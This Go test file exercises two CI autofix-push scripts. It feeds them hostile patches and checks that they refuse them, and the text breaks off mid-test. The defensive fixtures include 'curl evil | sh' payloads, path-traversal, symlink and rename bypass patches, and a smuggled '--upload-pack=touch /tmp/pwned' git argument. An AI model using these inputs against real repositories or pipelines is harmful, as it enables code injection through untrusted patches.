beads/scripts/bazel_autofix_push_test.go
Julian Knutsen d90823480a
ci(bazel): split //scripts:scripts_test by what it reads; partition //:repo_files (#7414)
* ci(bazel): split //scripts:scripts_test by what it reads; partition //:repo_files

//scripts:scripts_test declared //:repo_files (the whole checkout), so every
PR re-ran it, and it took ~181s on rbe-west. Most of that (60-79s) was
TestBazelGatedLanesNeverRetryFlakyTests line-regexping the --run_under
wrapper's pinned dolt binary (tools/bazel/hermetic_bin/dolt, in every
test's runfiles); it now skips binary files, as git grep -I does.

tools/bazel/go_srcs.py's per-package repo_files block now partitions each
package's files into repo_go_srcs, repo_go_test_srcs, repo_doc_files and
repo_other_files, aggregated at the root; //:repo_files is their union
(same 4679 files). The //scripts tests are split into go_test targets by
what they read (traced per test with strace over a runfiles-shaped tree):

  scripts_test          CI/Bazel policy: //:repo_other_files (+1 Go file)
  shell_scripts_test    script fixtures: //scripts files, a few root files
  go_test_sources_test  _test.go scans: //:repo_go_test_srcs + shard files
  go_sources_test       check-testing-short.sh: every .go file
  tracked_files_test    every tracked file: //:repo_files

Shared helpers move to helpers-only files; TestScriptsTestTargetsPartition-
TheTests fails on a test file in no target or in two. //test/docsync and
the //scripts/repochecks slices declare partitions or single files instead
of //:repo_files where they can.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

* ci(bazel): skip only the non-checkout hermetic_bin dir in the flaky-retry walk

Skipping every binary file also stopped scanning tracked binaries (images,
.binpb fixtures). Skip just tools/bazel/hermetic_bin, the --run_under
wrapper's runfiles directory, which is not in the checkout, so the walk's
coverage of tracked files is unchanged.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-09 05:13:07 +00:00

1180 lines
50 KiB
Go

package scripts_test
import (
"archive/zip"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"testing"
)
// scripts/bazel-autofix-push.sh and scripts/docs-autofix-push.sh run with a
// write token on untrusted patches. These tests feed them real `git diff`
// output (the good case, and every hostile shape the validator exists for)
// and run the full push/comment flow against a local bare repository standing
// in for github.com and a fake gh.
const docsAutofixPushScript = "scripts/docs-autofix-push.sh"
// autofixRepo is a repository with a "main" branch (base) and a PR head
// commit on top of it (head); patches are made against head.
type autofixRepo struct {
t *testing.T
git string
dir string
base string
head string
}
func newAutofixRepo(t *testing.T, files map[string]string, pr func(r *autofixRepo)) *autofixRepo {
t.Helper()
git := requireHostTool(t, "git")
requireAutofixBash(t)
r := &autofixRepo{t: t, git: git, dir: t.TempDir()}
r.run("init", "-q", "-b", "main")
r.run("config", "user.name", "t")
r.run("config", "user.email", "t@example.invalid")
r.run("config", "core.hooksPath", ".git/hooks")
for path, body := range files {
r.write(path, body)
}
r.run("add", "-A")
r.run("commit", "-q", "-m", "base")
r.base = strings.TrimSpace(r.run("rev-parse", "HEAD"))
r.head = r.commit("pr", pr)
return r
}
// newBazelAutofixRepo: the PR edits cmd/bd and adds internal/newpkg; other/
// is a package it does not touch. The root is a Go package (beads.go) with
// non-package paths (docs/, README.md) under it.
func newBazelAutofixRepo(t *testing.T) *autofixRepo {
return newAutofixRepo(t, map[string]string{
"BUILD.bazel": "# root\n",
"beads.go": "package beads\n",
"README.md": "# beads\n",
"docs/guide.md": "# guide\n",
"MODULE.bazel": "module(name = \"beads\")\n",
"MODULE.bazel.lock": "{}\n",
"go.mod": "module example.com/beads\n",
"cmd/bd/BUILD.bazel": "go_library(name = \"bd\")\n",
"cmd/bd/main.go": "package main\n",
"other/BUILD.bazel": "go_library(name = \"other\")\n",
"other/other.go": "package other\n",
".github/workflows/ci.yml": "name: CI\n",
"scripts/tool.sh": "echo hi\n",
"third_party/patches/BUILD.bazel": "exports_files([])\n",
}, func(r *autofixRepo) {
r.write("cmd/bd/main.go", "package main\n\nimport _ \"example.com/beads/internal/newpkg\"\n")
r.write("internal/newpkg/newpkg.go", "package newpkg\n")
})
}
func newDocsAutofixRepo(t *testing.T) *autofixRepo {
return newAutofixRepo(t, map[string]string{
"docs/CLI_REFERENCE.md": "# CLI\n",
"docs/docs.json": "{}\n",
"docs/cli-reference/bd.md": "# bd\n",
"scripts.sh": "echo hi\n",
".github/workflows/ci.yml": "name: CI\n",
"cmd/bd/main.go": "package main\n",
}, func(r *autofixRepo) {
r.write("cmd/bd/main.go", "package main // new flag\n")
})
}
func (r *autofixRepo) run(args ...string) string {
r.t.Helper()
cmd := exec.Command(r.git, args...)
cmd.Dir = r.dir
cmd.Env = append(os.Environ(), "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null")
out, err := cmd.CombinedOutput()
if err != nil {
r.t.Fatalf("git %v: %v\n%s", args, err, out)
}
return string(out)
}
func (r *autofixRepo) write(path, body string) {
r.t.Helper()
full := filepath.Join(r.dir, path)
if err := os.MkdirAll(filepath.Dir(full), 0o755); err != nil {
r.t.Fatal(err)
}
if err := os.WriteFile(full, []byte(body), 0o644); err != nil {
r.t.Fatal(err)
}
}
// commit records edit as a commit on top of the current HEAD, on branch
// name, and returns its id.
func (r *autofixRepo) commit(name string, edit func(r *autofixRepo)) string {
return r.commitMsg(name, name, edit)
}
func (r *autofixRepo) commitMsg(name, msg string, edit func(r *autofixRepo)) string {
r.t.Helper()
edit(r)
r.run("add", "-A")
r.run("commit", "-q", "-m", msg)
sha := strings.TrimSpace(r.run("rev-parse", "HEAD"))
r.run("branch", "-f", "autofix-test-"+name, sha)
return sha
}
// variant commits edit on top of the PR head without moving it.
func (r *autofixRepo) variant(name string, edit func(r *autofixRepo)) string {
return r.commitOn(r.head, name, name, edit)
}
// commitOn commits edit, with subject msg, on top of parent and returns to
// the PR head.
func (r *autofixRepo) commitOn(parent, name, msg string, edit func(r *autofixRepo)) string {
r.t.Helper()
r.run("checkout", "-q", "--detach", parent)
sha := r.commitMsg(name, msg, edit)
r.run("checkout", "-q", "--detach", r.head)
return sha
}
// patch applies edit to a clean PR-head tree, returns the staged diff as a
// patch file and resets the tree.
func (r *autofixRepo) patch(edit func()) string {
r.t.Helper()
r.run("checkout", "-q", "--detach", r.head)
edit()
r.run("add", "-A")
diff := r.run("diff", "--cached", "--binary")
r.run("reset", "-q", "--hard", r.head)
r.run("clean", "-qfdx")
return writeRawPatch(r.t, diff)
}
func writeRawPatch(t *testing.T, body string) string {
t.Helper()
file := filepath.Join(t.TempDir(), "autofix.patch")
if err := os.WriteFile(file, []byte(body), 0o644); err != nil {
t.Fatal(err)
}
return file
}
func runAutofixCheck(t *testing.T, script, dir, patch string) (string, error) {
t.Helper()
requireAutofixBash(t)
if !filepath.IsAbs(script) {
script = filepath.Join(sourceRepoRoot(t), script)
}
cmd := exec.Command("bash", script, "--check", patch)
cmd.Dir = dir
out, err := cmd.CombinedOutput()
return string(out), err
}
// Hostile patch shapes that do not depend on the allowlist: the reviewer's
// rename/copy/index-mode bypasses, with an allowlisted target (target) and a
// forbidden source (source).
func hostileHeaderPatches(t *testing.T, source, target string) map[string]string {
return map[string]string{
// git apply accepts the legacy headers; --numstat then names only the
// new (allowlisted) path.
"legacy rename old/new": writeRawPatch(t, "diff --git a/"+source+" b/"+target+"\n"+
"rename old "+source+"\nrename new "+target+"\n"),
"rename from/to without similarity": writeRawPatch(t, "diff --git a/"+source+" b/"+target+"\n"+
"rename from "+source+"\nrename to "+target+"\n"),
"copy from/to": writeRawPatch(t, "diff --git a/"+source+" b/"+target+"\n"+
"copy from "+source+"\ncopy to "+target+"\n"),
"legacy rename with hunk": writeRawPatch(t, "diff --git a/"+source+" b/"+target+"\n"+
"rename old "+source+"\nrename new "+target+"\n--- a/"+source+"\n+++ b/"+target+"\n@@ -1 +1 @@\n-x\n+y\n"),
"non-hex index mode": writeRawPatch(t, "diff --git a/"+target+" b/"+target+"\n"+
"index zz..yy 100755\n--- a/"+target+"\n+++ b/"+target+"\n@@ -1 +1 @@\n-x\n+y\n"),
"index mode 100755": writeRawPatch(t, "diff --git a/"+target+" b/"+target+"\n"+
"index 1234567..89abcde 100755\n--- a/"+target+"\n+++ b/"+target+"\n@@ -1 +1 @@\n-x\n+y\n"),
"index symlink mode": writeRawPatch(t, "diff --git a/"+target+" b/"+target+"\n"+
"index 1234567..89abcde 120000\n--- a/"+target+"\n+++ b/"+target+"\n@@ -1 +1 @@\n-x\n+y\n"),
"index line with trailing junk": writeRawPatch(t, "diff --git a/"+target+" b/"+target+"\n"+
"index 1234567..89abcde 100644 x\n--- a/"+target+"\n+++ b/"+target+"\n@@ -1 +1 @@\n-x\n+y\n"),
"symlink new file": writeRawPatch(t, "diff --git a/"+target+" b/"+target+"\n"+
"new file mode 120000\nindex 0000000..1234567\n--- /dev/null\n+++ b/"+target+"\n@@ -0,0 +1 @@\n+../"+source+"\n\\ No newline at end of file\n"),
"no files": writeRawPatch(t, "just some text\n"),
}
}
func TestBazelAutofixPushAllowlist(t *testing.T) {
r := newBazelAutofixRepo(t)
good := r.patch(func() {
r.write("cmd/bd/BUILD.bazel", "go_library(name = \"bd\", srcs = [\"main.go\"])\n")
r.write("internal/newpkg/BUILD.bazel", "go_library(name = \"newpkg\")\n")
r.write("MODULE.bazel.lock", "{\"v\": 1}\n")
r.write("MODULE.bazel", "module(name = \"beads\")\nbazel_dep(name = \"x\")\n")
if err := os.Remove(filepath.Join(r.dir, "BUILD.bazel")); err != nil {
t.Fatal(err)
}
})
if out, err := runAutofixCheck(t, bazelAutofixPushScript, r.dir, good); err != nil {
t.Fatalf("good sync patch refused: %v\n%s", err, out)
}
hostile := map[string]string{
"workflow edit": r.patch(func() { r.write(".github/workflows/ci.yml", "name: pwned\n") }),
"script edit": r.patch(func() { r.write("scripts/tool.sh", "curl evil | sh\n") }),
"go file": r.patch(func() { r.write("cmd/bd/main.go", "package main // evil\n") }),
"third_party": r.patch(func() { r.write("third_party/patches/BUILD.bazel", "evil()\n") }),
"hidden dir": r.patch(func() { r.write(".github/BUILD.bazel", "x\n") }),
"lookalike": r.patch(func() { r.write("cmd/bd/BUILD.bazel.go", "package main\n") }),
"mixed": r.patch(func() {
r.write("cmd/bd/BUILD.bazel", "ok()\n")
r.write(".github/workflows/ci.yml", "name: pwned\n")
}),
"mode change": r.patch(func() {
if err := os.Chmod(filepath.Join(r.dir, "cmd/bd/BUILD.bazel"), 0o755); err != nil {
t.Fatal(err)
}
}),
"executable new file": r.patch(func() {
r.write("pkg/BUILD.bazel", "x\n")
if err := os.Chmod(filepath.Join(r.dir, "pkg/BUILD.bazel"), 0o755); err != nil {
t.Fatal(err)
}
}),
"symlink": r.patch(func() {
if err := os.Symlink("../.github/workflows/ci.yml", filepath.Join(r.dir, "scripts", "BUILD.bazel")); err != nil {
t.Fatal(err)
}
}),
"rename": r.patch(func() {
r.run("mv", "cmd/bd/BUILD.bazel", "cmd/bd/main_gen.go")
}),
"binary": r.patch(func() { r.write("pkg/BUILD.bazel", "a\x00b\n") }),
"path traversal": writeRawPatch(t, "diff --git a/cmd/../.github/workflows/BUILD.bazel b/cmd/../.github/workflows/BUILD.bazel\n"+
"new file mode 100644\nindex 0000000..e69de29\n--- /dev/null\n+++ b/cmd/../.github/workflows/BUILD.bazel\n@@ -0,0 +1 @@\n+x\n"),
"traversal to workflow": writeRawPatch(t, "--- a/BUILD.bazel\n+++ b/../../.github/workflows/ci.yml\n@@ -1 +1 @@\n-# root\n+evil\n"),
// An absolute "+++ /x/BUILD.bazel" is re-rooted by -p1 (to x/BUILD.bazel)
// and then allowlisted like any other path, so it needs no case here.
"traversal via -p1": writeRawPatch(t, "--- /dev/null\n+++ /../.github/BUILD.bazel\n@@ -0,0 +1 @@\n+x\n"),
"header mismatch": writeRawPatch(t, "diff --git a/BUILD.bazel b/BUILD.bazel\nindex 1..2 100644\n--- a/BUILD.bazel\n+++ b/.github/workflows/ci.yml\n@@ -1 +1 @@\n-# root\n+evil\n"),
// A newline inside a name would split a newline-separated numstat
// into two allowlisted-looking lines.
"newline in name": writeRawPatch(t, "diff --git \"a/BUILD.bazel\\n1\\t0\\tBUILD.bazel\" \"b/BUILD.bazel\\n1\\t0\\tBUILD.bazel\"\n"+
"new file mode 100644\nindex 0000000..e69de29\n--- /dev/null\n+++ \"b/BUILD.bazel\\n1\\t0\\tBUILD.bazel\"\n@@ -0,0 +1 @@\n+x\n"),
}
for name, patch := range hostileHeaderPatches(t, ".github/workflows/ci.yml", "foo/BUILD.bazel") {
hostile[name] = patch
}
for name, patch := range hostile {
t.Run(name, func(t *testing.T) {
out, err := runAutofixCheck(t, bazelAutofixPushScript, r.dir, patch)
if err == nil || !strings.Contains(out, "REFUSED") {
body, _ := os.ReadFile(patch)
t.Errorf("hostile patch accepted (err=%v):\n%s\n--- patch ---\n%s", err, out, body)
}
})
}
}
func TestDocsAutofixPushAllowlist(t *testing.T) {
r := newDocsAutofixRepo(t)
good := r.patch(func() {
r.write("docs/CLI_REFERENCE.md", "# CLI\n\nnew flag\n")
r.write("docs/cli-reference/bd-new.md", "# new\n")
r.write("docs/docs.json", "{\"a\": 1}\n")
})
if out, err := runAutofixCheck(t, docsAutofixPushScript, r.dir, good); err != nil {
t.Fatalf("good docs patch refused: %v\n%s", err, out)
}
hostile := map[string]string{
"workflow edit": r.patch(func() { r.write(".github/workflows/ci.yml", "name: pwned\n") }),
"script edit": r.patch(func() { r.write("scripts.sh", "curl evil | sh\n") }),
"nested": r.patch(func() { r.write("docs/cli-reference/a/b.md", "x\n") }),
// The reviewer's end-to-end bypass on main: scripts.sh renamed to
// an allowlisted doc name.
"rename script to doc": r.patch(func() {
r.run("mv", "scripts.sh", "docs/cli-reference/x.md")
}),
"mode change": r.patch(func() {
if err := os.Chmod(filepath.Join(r.dir, "docs/docs.json"), 0o755); err != nil {
t.Fatal(err)
}
}),
"binary": r.patch(func() { r.write("docs/cli-reference/bin.md", "a\x00b\n") }),
}
for name, patch := range hostileHeaderPatches(t, "scripts.sh", "docs/cli-reference/x.md") {
hostile[name] = patch
}
for name, patch := range hostile {
t.Run(name, func(t *testing.T) {
out, err := runAutofixCheck(t, docsAutofixPushScript, r.dir, patch)
if err == nil || !strings.Contains(out, "REFUSED") {
body, _ := os.ReadFile(patch)
t.Errorf("hostile patch accepted (err=%v):\n%s\n--- patch ---\n%s", err, out, body)
}
})
}
}
// fakeGH writes a gh stand-in that serves canned API responses from env,
// applies --jq like gh does, and logs every call (with comment bodies) to
// $FAKE_GH_LOG. A call whose endpoint contains $FAKE_GH_FAIL fails.
func fakeGH(t *testing.T) string {
t.Helper()
requireHostTool(t, "jq")
bin := t.TempDir()
script := `#!/usr/bin/env bash
set -euo pipefail
echo "gh $*" >> "$FAKE_GH_LOG"
method=GET jq_expr="" path=""
while [ $# -gt 0 ]; do
case "$1" in
api | --paginate) ;;
--method) method="$2"; shift ;;
--jq) jq_expr="$2"; shift ;;
-F | -f)
case "$2" in body=@*) { echo "--- body"; cat "${2#body=@}"; } >> "$FAKE_GH_LOG" ;; esac
shift ;;
*) path="$1" ;;
esac
shift
done
if [ -n "${FAKE_GH_FAIL:-}" ] && [[ "$path" == *"$FAKE_GH_FAIL"* ]]; then
echo "gh: HTTP 500" >&2
exit 1
fi
out='{}'
case "$method $path" in
"GET "*"/pulls?state=open"*) out="$FAKE_PULLS" ;;
"GET "*/commits/*) out="$(jq -n --arg m "${FAKE_HEAD_MSG:-feat: add a file}" '{commit: {message: $m}}')" ;;
"GET "*/comments) out="${FAKE_COMMENTS:-[]}" ;;
"GET "*/rules/branches/*) out="${FAKE_RULES:-[]}" ;;
"GET "*/branches/*) out="${FAKE_BRANCH:-}"; [ -n "$out" ] || out='{"protected": false}' ;;
esac
if [ -n "$jq_expr" ]; then
printf '%s' "$out" | jq -r "$jq_expr"
else
printf '%s' "$out"
fi
`
if err := os.WriteFile(filepath.Join(bin, "gh"), []byte(script), 0o755); err != nil {
t.Fatal(err)
}
return bin
}
type autofixFlowResult struct {
out, log, remote string
head, branch string
err error
}
type autofixFlow struct {
script string // repo-relative, or absolute for a modified copy
headRepo string
branch string
headSHA string // PR head (defaults to r.head)
remoteAt string // where the remote branch points (defaults to headSHA)
patch string
baseRepo string // the PR's base repo in the pulls listing
pulls string // open-PR listing (defaults to PR #7 for this head)
env []string
}
func (r *autofixRepo) runFlow(t *testing.T, f autofixFlow) autofixFlowResult {
t.Helper()
if f.headRepo == "" {
f.headRepo = "owner/beads"
}
if f.branch == "" {
f.branch = "feature/x"
}
if f.headSHA == "" {
f.headSHA = r.head
}
if f.remoteAt == "" {
f.remoteAt = f.headSHA
}
if f.baseRepo == "" {
f.baseRepo = "owner/beads"
}
script := f.script
if !filepath.IsAbs(script) {
script = filepath.Join(sourceRepoRoot(t), script)
}
github := t.TempDir()
remote := filepath.Join(github, "owner", "beads.git")
r.run("clone", "-q", "--bare", r.dir, remote)
r.run("--git-dir="+remote, "branch", "-f", "main", r.base)
r.run("--git-dir="+remote, "branch", "-f", f.branch, f.remoteAt)
gitconfig := filepath.Join(t.TempDir(), "gitconfig")
if err := os.WriteFile(gitconfig, []byte("[url \"file://"+github+"/\"]\n\tinsteadOf = https://github.com/\n"+
"[uploadpack]\n\tallowFilter = true\n[protocol \"file\"]\n\tallow = always\n"), 0o644); err != nil {
t.Fatal(err)
}
log := filepath.Join(t.TempDir(), "gh.log")
pulls := f.pulls
if pulls == "" {
pulls = "[" + pullJSON(7, f.branch, f.headSHA, f.headRepo, "main", f.baseRepo) + "]"
}
cmd := exec.Command("bash", script)
cmd.Dir = t.TempDir()
cmd.Env = append([]string{
"PATH=" + fakeGH(t) + string(os.PathListSeparator) + os.Getenv("PATH"),
"HOME=" + t.TempDir(),
"GIT_CONFIG_GLOBAL=" + gitconfig, "GIT_CONFIG_NOSYSTEM=1",
"FAKE_GH_LOG=" + log, "FAKE_PULLS=" + pulls,
"BASE_REPO=owner/beads", "HEAD_REPO=" + f.headRepo, "HEAD_BRANCH=" + f.branch, "HEAD_SHA=" + f.headSHA,
"PATCH_FILE=" + f.patch, "RUN_ID=42", "RUN_URL=https://github.com/owner/beads/actions/runs/42",
"GH_TOKEN=api-token", "PUSH_TOKEN=push-token",
}, f.env...)
out, err := cmd.CombinedOutput()
logBody, _ := os.ReadFile(log)
head := strings.TrimSpace(r.run("--git-dir="+remote, "rev-parse", f.branch))
return autofixFlowResult{out: string(out), log: string(logBody), remote: remote, head: head, branch: f.branch, err: err}
}
func pullJSON(number int, branch, sha, headRepo, baseRef, baseRepo string) string {
return fmt.Sprintf(`{"number":%d,"head":{"ref":%q,"sha":%q,"repo":{"full_name":%q}},"base":{"ref":%q,"repo":{"full_name":%q}}}`,
number, branch, sha, headRepo, baseRef, baseRepo)
}
// scriptWith copies script with each old (which must occur exactly once)
// replaced by its new, so a test can switch one layer off and exercise the
// next one alone.
func scriptWith(t *testing.T, script string, oldNew ...string) string {
t.Helper()
body := readPolicyFile(t, sourceRepoRoot(t), script)
for i := 0; i+1 < len(oldNew); i += 2 {
if n := strings.Count(body, oldNew[i]); n != 1 {
t.Fatalf("%s: want exactly one %q, got %d", script, oldNew[i], n)
}
body = strings.Replace(body, oldNew[i], oldNew[i+1], 1)
}
copyPath := filepath.Join(t.TempDir(), filepath.Base(script))
if err := os.WriteFile(copyPath, []byte(body), 0o755); err != nil {
t.Fatal(err)
}
return copyPath
}
// withoutValidator copies script with its up-front validate_patch call
// disabled, so a flow test exercises the post-apply staged check alone.
func withoutValidator(t *testing.T, script string) string {
t.Helper()
return scriptWith(t, script, "\nvalidate_patch \"$PATCH_FILE\"\n", "\n: skipped validate_patch\n")
}
// summaryOnly copies script with the header greps of validate_patch
// switched off, so --check exercises `git apply --summary` (then numstat).
func summaryOnly(t *testing.T, script string) string {
t.Helper()
return scriptWith(t, script,
`if grep -qE '^(old mode|new mode|similarity index|dissimilarity index|rename |copy |GIT binary patch|Binary files )' "$file"; then`, "if false; then",
`if grep -E '^(new file mode|deleted file mode) ' "$file" | grep -qvE '^(new file mode|deleted file mode) 100644$'; then`, "if false; then",
`if grep -E '^index ' "$file" | grep -qvE '^index [0-9a-f]+\.\.[0-9a-f]+( 100644)?$'; then`, "if false; then")
}
func TestBazelAutofixPushFlow(t *testing.T) {
r := newBazelAutofixRepo(t)
good := r.patch(func() {
r.write("cmd/bd/BUILD.bazel", "go_library(name = \"bd\", srcs = [\"main.go\"])\n")
r.write("internal/newpkg/BUILD.bazel", "go_library(name = \"newpkg\")\n")
})
flow := func(f autofixFlow) autofixFlow {
f.script = bazelAutofixPushScript
if f.patch == "" {
f.patch = good
}
return f
}
unchanged := func(t *testing.T, res autofixFlowResult, want string) {
t.Helper()
if res.head != r.head {
t.Errorf("branch moved to %s; want no push\n%s\n%s", res.head, res.out, res.log)
}
if want != "" && !strings.Contains(res.log+res.out, want) {
t.Errorf("want %q in output or comment:\n%s\n%s", want, res.out, res.log)
}
}
t.Run("same-repo PR gets the sync commit", func(t *testing.T) {
res := r.runFlow(t, flow(autofixFlow{}))
if res.err != nil {
t.Fatalf("err=%v\n%s\n%s", res.err, res.out, res.log)
}
if res.head == r.head {
t.Fatalf("branch not advanced:\n%s", res.out)
}
if parent := strings.TrimSpace(r.run("--git-dir="+res.remote, "rev-parse", res.head+"^")); parent != r.head {
t.Errorf("pushed commit parent = %s, want the PR head %s", parent, r.head)
}
files := r.run("--git-dir="+res.remote, "diff", "--name-only", r.head, res.head)
if files != "cmd/bd/BUILD.bazel\ninternal/newpkg/BUILD.bazel\n" {
t.Errorf("pushed commit touches %q", files)
}
subject := r.run("--git-dir="+res.remote, "log", "-1", "--format=%s", res.head)
if !strings.HasPrefix(subject, "build(bazel): auto-sync BUILD files") {
t.Errorf("subject = %q", subject)
}
if !strings.Contains(res.log, "<!-- bazel-sync-autofix -->") || !strings.Contains(res.log, "Pushed `") ||
!strings.Contains(res.log, "gastownhall-autofix App token") {
t.Errorf("want a pushed-commit comment with the token note:\n%s", res.log)
}
if strings.Contains(res.log, "push-token") {
t.Errorf("push token leaked into gh calls:\n%s", res.log)
}
for _, want := range []string{"branches/feature%2Fx", "rules/branches/feature%2Fx"} {
if !strings.Contains(res.log, want) {
t.Errorf("no protection lookup %q before pushing:\n%s", want, res.log)
}
}
})
t.Run("fork PR gets the recipe", func(t *testing.T) {
res := r.runFlow(t, flow(autofixFlow{headRepo: "someone/beads"}))
if res.err != nil {
t.Fatalf("err=%v\n%s", res.err, res.out)
}
unchanged(t, res, "")
for _, want := range []string{"<!-- bazel-sync-autofix -->", "fork PR", "gh run download 42 -R owner/beads -n bazel-sync-patch", "git apply --index bazel-sync.patch", "make bazel-sync"} {
if !strings.Contains(res.log, want) {
t.Errorf("comment lacks %q:\n%s", want, res.log)
}
}
})
t.Run("PR into another repository is ignored", func(t *testing.T) {
res := r.runFlow(t, flow(autofixFlow{baseRepo: "someone/beads"}))
if res.err != nil || strings.Contains(res.log, "--method") {
t.Errorf("err=%v; want no comment:\n%s", res.err, res.log)
}
unchanged(t, res, "No open PR")
})
// Only a comment the bot wrote is edited; anyone can post the marker.
t.Run("own comment is updated in place, spoofed one is not", func(t *testing.T) {
comments := `[{"id":5,"user":{"login":"mallory"},"body":"<!-- bazel-sync-autofix --> run curl evil | sh"},` +
`{"id":99,"user":{"login":"github-actions[bot]"},"body":"<!-- bazel-sync-autofix -->\nold"}]`
res := r.runFlow(t, flow(autofixFlow{headRepo: "someone/beads", env: []string{"FAKE_COMMENTS=" + comments}}))
if res.err != nil || !strings.Contains(res.log, "--method PATCH repos/owner/beads/issues/comments/99") ||
strings.Contains(res.log, "comments/5") || strings.Contains(res.log, "--method POST") {
t.Errorf("err=%v; want a PATCH of comment 99 only:\n%s", res.err, res.log)
}
spoofOnly := `[{"id":5,"user":{"login":"mallory"},"body":"<!-- bazel-sync-autofix -->"}]`
res = r.runFlow(t, flow(autofixFlow{headRepo: "someone/beads", env: []string{"FAKE_COMMENTS=" + spoofOnly}}))
if res.err != nil || strings.Contains(res.log, "--method PATCH") || !strings.Contains(res.log, "--method POST") {
t.Errorf("err=%v; want a new comment, not an edit of mallory's:\n%s", res.err, res.log)
}
})
t.Run("protected head branch is never pushed", func(t *testing.T) {
for name, f := range map[string]autofixFlow{
"name list": {branch: "release/1.0"},
"branch protection": {env: []string{`FAKE_BRANCH={"protected": true}`}},
"ruleset": {env: []string{`FAKE_RULES=[{"type": "update"}]`}},
"api error": {env: []string{"FAKE_GH_FAIL=/branches/"}},
"rules api error": {env: []string{"FAKE_GH_FAIL=/rules/"}},
} {
t.Run(name, func(t *testing.T) {
res := r.runFlow(t, flow(f))
if res.err != nil {
t.Errorf("err=%v\n%s", res.err, res.out)
}
unchanged(t, res, "protected from bot pushes")
})
}
})
// The circuit breaker reads the head's subject from the fetched commit
// (no API), fails closed, and only fires once the PR's own fix is known:
// a bot head whose remaining drift is main's gets the "not this PR" note.
t.Run("circuit breaker", func(t *testing.T) {
botHead := r.commitOn(r.head, "bot", "build(bazel): auto-sync BUILD files\n\nApplied from ...", func(r *autofixRepo) {
r.write("internal/newpkg/newpkg.go", "package newpkg // synced\n")
})
mainDrift := writeRawPatch(t, "diff --git a/other/BUILD.bazel b/other/BUILD.bazel\n--- a/other/BUILD.bazel\n+++ b/other/BUILD.bazel\n"+
"@@ -1 +1 @@\n-go_library(name = \"other\")\n+go_library(name = \"other\", srcs = [\"other.go\"])\n")
noSubject := scriptWith(t, bazelAutofixPushScript, `HEAD_SUBJECT="$(git_ log -1 --format=%s "$HEAD_SHA")"`, `HEAD_SUBJECT="$(false)"`)
for name, tc := range map[string]struct {
f autofixFlow
want, deny string
}{
"bot head with the PR's own drift": {f: flow(autofixFlow{headSHA: botHead}), want: "previous auto-fix commit did not fix this PR's own files", deny: "files this PR did not change"},
"bot head with main's drift only": {f: flow(autofixFlow{headSHA: botHead, patch: mainDrift}), want: "files this PR did not change", deny: "did not fix"},
"subject unreadable": {f: autofixFlow{script: noSubject, patch: good}, want: "previous auto-fix commit did not fix", deny: "Pushed `"},
} {
t.Run(name, func(t *testing.T) {
res := r.runFlow(t, tc.f)
if res.err != nil {
t.Errorf("err=%v", res.err)
}
if res.head != tc.f.headSHA && !(tc.f.headSHA == "" && res.head == r.head) {
t.Errorf("branch moved to %s; want no push\n%s", res.head, res.out)
}
if !strings.Contains(res.log, tc.want) || strings.Contains(res.log, tc.deny) {
t.Errorf("want a comment with %q and without %q:\n%s\n%s", tc.want, tc.deny, res.out, res.log)
}
if strings.Contains(res.log, "/commits/") {
t.Errorf("head subject read through the API:\n%s", res.log)
}
})
}
})
// One head branch can back several open PRs; the artifact's PR number
// picks among the ones that match the event, and without it the bot does
// not guess.
t.Run("PR selection", func(t *testing.T) {
two := "[" + pullJSON(7, "feature/x", r.head, "someone/beads", "main", "owner/beads") + "," +
pullJSON(8, "feature/x", r.head, "someone/beads", "release/x", "owner/beads") + "]"
metaFor := func(pr string) string {
meta := filepath.Join(t.TempDir(), "bazel-sync-meta.txt")
if err := os.WriteFile(meta, []byte("pr="+pr+"\nhead_sha="+r.head+"\n"), 0o644); err != nil {
t.Fatal(err)
}
return meta
}
for name, tc := range map[string]struct {
meta, want string
comment bool
}{
"ambiguous without metadata": {want: "2 open PRs use someone/beads:feature/x"},
"metadata picks the second PR": {meta: "8", want: "issues/8/comments", comment: true},
"metadata picks the first PR": {meta: "7", want: "issues/7/comments", comment: true},
"metadata names no matching PR": {meta: "9", want: "numbered #9"},
} {
t.Run(name, func(t *testing.T) {
f := flow(autofixFlow{headRepo: "someone/beads", pulls: two})
if tc.meta != "" {
f.env = []string{"META_FILE=" + metaFor(tc.meta)}
}
res := r.runFlow(t, f)
if res.err != nil || !strings.Contains(res.out+res.log, tc.want) {
t.Errorf("err=%v; want %q:\n%s\n%s", res.err, tc.want, res.out, res.log)
}
if got := strings.Contains(res.log, "--method"); got != tc.comment {
t.Errorf("commented=%v, want %v:\n%s", got, tc.comment, res.log)
}
unchanged(t, res, "")
})
}
})
// HEAD_SHA reaches git as a revision: anything but a full commit id is
// refused before the patch, the API or git sees it.
t.Run("HEAD_SHA must be 40 hex", func(t *testing.T) {
for _, bad := range []string{"HEAD", r.head[:12], strings.ToUpper(r.head), "--upload-pack=touch /tmp/pwned", r.head + "\n", r.head + "0"} {
res := r.runFlow(t, flow(autofixFlow{env: []string{"HEAD_SHA=" + bad}}))
if res.err == nil || !strings.Contains(res.out, "HEAD_SHA is not a commit id") || res.log != "" {
t.Errorf("HEAD_SHA=%q: err=%v gh log=%q\n%s", bad, res.err, res.log, res.out)
}
unchanged(t, res, "")
}
})
t.Run("metadata for another head vetoes", func(t *testing.T) {
meta := filepath.Join(t.TempDir(), "bazel-sync-meta.txt")
if err := os.WriteFile(meta, []byte("pr=7\nhead_sha="+strings.Repeat("a", 40)+"\n"), 0o644); err != nil {
t.Fatal(err)
}
res := r.runFlow(t, flow(autofixFlow{env: []string{"META_FILE=" + meta}}))
if res.err != nil || res.log != "" {
t.Errorf("err=%v gh log=%q\n%s", res.err, res.log, res.out)
}
unchanged(t, res, "")
})
t.Run("hostile patch fails before any API call", func(t *testing.T) {
evil := r.patch(func() { r.write(".github/workflows/ci.yml", "name: pwned\n") })
res := r.runFlow(t, flow(autofixFlow{patch: evil}))
if res.err == nil || res.log != "" || !strings.Contains(res.out, "REFUSED") {
t.Errorf("err=%v gh log=%q\n%s", res.err, res.log, res.out)
}
unchanged(t, res, "")
})
// The reviewer's bypasses, with the up-front validator switched off: the
// post-apply staged check alone still refuses them.
t.Run("staged check alone refuses renames", func(t *testing.T) {
noValidator := withoutValidator(t, bazelAutofixPushScript)
for name, patch := range map[string]string{
"legacy rename old/new": writeRawPatch(t, "diff --git a/.github/workflows/ci.yml b/internal/newpkg/BUILD.bazel\n"+
